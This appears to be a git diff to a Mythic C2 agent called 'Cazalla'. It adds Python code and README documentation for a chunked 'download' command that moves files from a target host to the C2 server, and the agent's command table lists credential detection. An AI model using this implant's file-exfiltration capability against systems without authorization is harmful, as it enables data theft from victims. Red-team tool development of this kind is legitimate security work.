# Si detectamos una lista de procesos, también incluir el formato para Process Browser
|
# Si detectamos una lista de procesos, también incluir el formato para Process Browser
|
||||||
if is_process_list and len(processes) > 0:
|
if is_process_list and len(processes) > 0:
|
||||||
@@ -393,6 +510,24 @@ def postResponse(data):
|
|||||||
if len(credentials) > 0:
|
if len(credentials) > 0:
|
||||||
jsonTask["credentials"] = credentials
|
jsonTask["credentials"] = credentials
|
||||||
print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}")
|
print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}")
|
||||||
|
|
||||||
|
# Add download information if present
|
||||||
|
if download_registration:
|
||||||
|
jsonTask["download"] = download_registration
|
||||||
|
print(f"[DOWNLOAD] Download registration agregado al JSON: {json.dumps(download_registration)}")
|
||||||
|
|
||||||
|
if download_chunk:
|
||||||
|
# For download chunks, we ONLY send the download info, no user_output
|
||||||
|
# Remove user_output if it was added
|
||||||
|
if "user_output" in jsonTask:
|
||||||
|
jsonTask.pop("user_output", None)
|
||||||
|
|
||||||
|
jsonTask["download"] = {
|
||||||
|
"chunk_num": download_chunk["chunk_num"],
|
||||||
|
"file_id": download_chunk["file_id"],
|
||||||
|
"chunk_data": download_chunk["chunk_data"]
|
||||||
|
}
|
||||||
|
print(f"[DOWNLOAD] Download chunk agregado al JSON: chunk_num={download_chunk['chunk_num']}, file_id={download_chunk['file_id']}, data_len={len(download_chunk['chunk_data'])}")
|
||||||
|
|
||||||
resTaks.append(jsonTask)
|
resTaks.append(jsonTask)
|
||||||
|
|
||||||
|
|||||||
@@ -25,6 +25,7 @@
|
|||||||
- [Process Browser Integration](#process-browser-integration)
|
- [Process Browser Integration](#process-browser-integration)
|
||||||
- [Artifacts Support](#artifacts-support)
|
- [Artifacts Support](#artifacts-support)
|
||||||
- [Credentials Support](#credentials-support)
|
- [Credentials Support](#credentials-support)
|
||||||
|
- [File Downloads Support](#file-downloads-support)
|
||||||
- [Development](#development)
|
- [Development](#development)
|
||||||
- [Troubleshooting](#troubleshooting)
|
- [Troubleshooting](#troubleshooting)
|
||||||
- [Credits](#credits)
|
- [Credits](#credits)
|
||||||
@@ -181,6 +182,7 @@ For more information, see the [Mythic documentation on customizing public agents
|
|||||||
| `mkdir` | Create directory | `mkdir C:\temp\new_folder` |
|
| `mkdir` | Create directory | `mkdir C:\temp\new_folder` |
|
||||||
| `rm` | Delete file or directory | `rm C:\temp\file.txt` |
|
| `rm` | Delete file or directory | `rm C:\temp\file.txt` |
|
||||||
| `cat` | Read file contents (with automatic credential detection) | `cat C:\path\to\file.txt` |
|
| `cat` | Read file contents (with automatic credential detection) | `cat C:\path\to\file.txt` |
|
||||||
|
| `download` | Download file from target to Mythic server | `download C:\path\to\file.txt` |
|
||||||
|
|
||||||
### Execution & Control
|
### Execution & Control
|
||||||
|
|
||||||
@@ -559,15 +561,18 @@ Currently supported:
|
|||||||
- **File Write**: Automatically reported for:
|
- **File Write**: Automatically reported for:
|
||||||
- `cp` (copy) - reports destination file path
|
- `cp` (copy) - reports destination file path
|
||||||
- `mkdir` (create directory) - reports created directory path
|
- `mkdir` (create directory) - reports created directory path
|
||||||
|
- **File Delete**: Automatically reported for:
|
||||||
- `rm` (delete) - reports deleted file/directory path
|
- `rm` (delete) - reports deleted file/directory path
|
||||||
|
- **File Read**: Automatically reported for:
|
||||||
|
- `download` - reports file path when downloading files
|
||||||
|
|
||||||
**Note**: The following commands don't require artifacts as they are read-only or don't modify system state:
|
**Note**: The following commands don't require artifacts as they are read-only or don't modify system state:
|
||||||
- `ls`, `cd`, `pwd` - read-only file system operations
|
- `ls`, `cd`, `pwd` - read-only file system operations
|
||||||
- `ps` - already integrated with Process Browser
|
- `ps` - already integrated with Process Browser
|
||||||
- `sleep`, `exit` - don't modify system state
|
- `sleep`, `exit` - don't modify system state
|
||||||
|
- `cat` - read-only file operation (doesn't create artifacts, but may report credentials)
|
||||||
|
|
||||||
Future support can be added for:
|
Future support can be added for:
|
||||||
- **File Read**: When files are downloaded/read (e.g., `download` command)
|
|
||||||
- **File Write**: For file upload operations (e.g., `upload` command)
|
- **File Write**: For file upload operations (e.g., `upload` command)
|
||||||
- **Network Connection**: When network operations occur (e.g., for `socks` proxy connections)
|
- **Network Connection**: When network operations occur (e.g., for `socks` proxy connections)
|
||||||
- **Registry Modification**: When registry keys are modified (e.g., `reg_set`, `reg_delete`)
|
- **Registry Modification**: When registry keys are modified (e.g., `reg_set`, `reg_delete`)
|
||||||
@@ -605,7 +610,8 @@ Example implementations:
|
|||||||
- `shell`: Process Create artifact with command
|
- `shell`: Process Create artifact with command
|
||||||
- `cp`: File Write artifact with destination path
|
- `cp`: File Write artifact with destination path
|
||||||
- `mkdir`: File Write artifact with directory path
|
- `mkdir`: File Write artifact with directory path
|
||||||
- `rm`: File Write artifact with deleted path
|
- `rm`: File Delete artifact with deleted path
|
||||||
|
- `download`: File Read artifact with downloaded file path
|
||||||
|
|
||||||
### Best Practices for New Commands
|
### Best Practices for New Commands
|
||||||
|
|
||||||
@@ -785,6 +791,97 @@ For more information, see the [Mythic Credentials documentation](https://docs.my
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## 📥 File Downloads Support
|
||||||
|
|
||||||
|
Cazalla supports downloading files from the target to the Mythic server using chunked transfers, following [Mythic's File Downloads specification](https://docs.mythic-c2.net/customizing/hooking-features/download).
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
- **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer
|
||||||
|
- **Automatic Registration**: Files are automatically registered with Mythic before transfer
|
||||||
|
- **Progress Tracking**: Mythic tracks download progress (chunks received/total chunks)
|
||||||
|
- **File Read Artifacts**: Automatically reports File Read artifacts when files are downloaded
|
||||||
|
- **Full Path Tracking**: Reports full file paths for proper tracking in Mythic's file browser
|
||||||
|
|
||||||
|
### How It Works
|
||||||
|
|
||||||
|
1. **Command Execution**: When you execute `download C:\path\to\file.txt`, the agent:
|
||||||
|
- Opens the file for reading
|
||||||
|
- Calculates file size and number of chunks needed
|
||||||
|
- Sends a registration message to Mythic with file metadata (`total_chunks`, `full_path`, `chunk_size`)
|
||||||
|
- Receives a `file_id` from Mythic
|
||||||
|
- Reads and sends file data in chunks (base64-encoded)
|
||||||
|
- Reports a File Read artifact when complete
|
||||||
|
|
||||||
|
2. **Mythic Integration**: The download is automatically:
|
||||||
|
- Registered in Mythic's file browser
|
||||||
|
- Tracked with progress (chunks received/total)
|
||||||
|
- Available for download from the Mythic UI once all chunks are received
|
||||||
|
|
||||||
|
### Using the Download Command
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Download a file from the target
|
||||||
|
download C:\Users\localuser\Downloads\file.txt
|
||||||
|
|
||||||
|
# Downloads are chunked automatically - Mythic will show progress:
|
||||||
|
# "0 / 5 Chunks Received" → "5 / 5 Chunks Received" (complete)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Download Process
|
||||||
|
|
||||||
|
1. **Registration**: Agent sends file metadata to Mythic
|
||||||
|
- `full_path`: Full path to the file
|
||||||
|
- `total_chunks`: Number of chunks needed
|
||||||
|
- `chunk_size`: Size of each chunk (512KB default)
|
||||||
|
|
||||||
|
2. **File ID**: Mythic responds with a unique `file_id` for this download
|
||||||
|
|
||||||
|
3. **Chunk Transfer**: Agent sends each chunk sequentially:
|
||||||
|
- Chunk number (1-based)
|
||||||
|
- `file_id` to associate with registration
|
||||||
|
- Base64-encoded chunk data
|
||||||
|
|
||||||
|
4. **Completion**: Once all chunks are received, the file appears in Mythic's file browser
|
||||||
|
|
||||||
|
### Example Download Flow
|
||||||
|
|
||||||
|
```
|
||||||
|
Agent: [download] Registrando descarga: C:\Users\file.txt (1024000 bytes, 2 chunks)
|
||||||
|
Mythic: Response with file_id: "uuid-here"
|
||||||
|
Agent: [download] Enviando chunk 1/2 (512000 bytes)
|
||||||
|
Agent: [download] Enviando chunk 2/2 (512000 bytes)
|
||||||
|
Agent: [download] Descarga completada: C:\Users\file.txt (1024000 bytes)
|
||||||
|
Mythic: File available in file browser
|
||||||
|
```
|
||||||
|
|
||||||
|
### Implementation Details
|
||||||
|
|
||||||
|
The download system uses:
|
||||||
|
- **Chunk Size**: 512KB per chunk (configurable in code)
|
||||||
|
- **File Size Limit**: Supports files up to 2GB (can be extended)
|
||||||
|
- **Base64 Encoding**: Chunk data is base64-encoded before transmission
|
||||||
|
- **Artifact Reporting**: Automatically reports "File Read" artifact with file path
|
||||||
|
|
||||||
|
### Error Handling
|
||||||
|
|
||||||
|
The download command handles various error scenarios:
|
||||||
|
- **File Not Found**: Returns error message if file cannot be opened
|
||||||
|
- **File Too Large**: Returns error if file exceeds 2GB limit
|
||||||
|
- **Empty Files**: Properly handles empty files (0 bytes)
|
||||||
|
- **Access Denied**: Returns Windows error code if access is denied
|
||||||
|
|
||||||
|
### Viewing Downloaded Files
|
||||||
|
|
||||||
|
1. Navigate to your callback in the Mythic UI
|
||||||
|
2. Click the **Files** icon (file browser) in the top navigation
|
||||||
|
3. View all downloaded files with their metadata
|
||||||
|
4. Download files to your local system
|
||||||
|
|
||||||
|
For more information, see the [Mythic File Downloads documentation](https://docs.mythic-c2.net/customizing/hooking-features/download).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 🔧 Development
|
## 🔧 Development
|
||||||
|
|
||||||
### Project Structure
|
### Project Structure
|
||||||
|
|||||||
Reference in New Issue
Block a user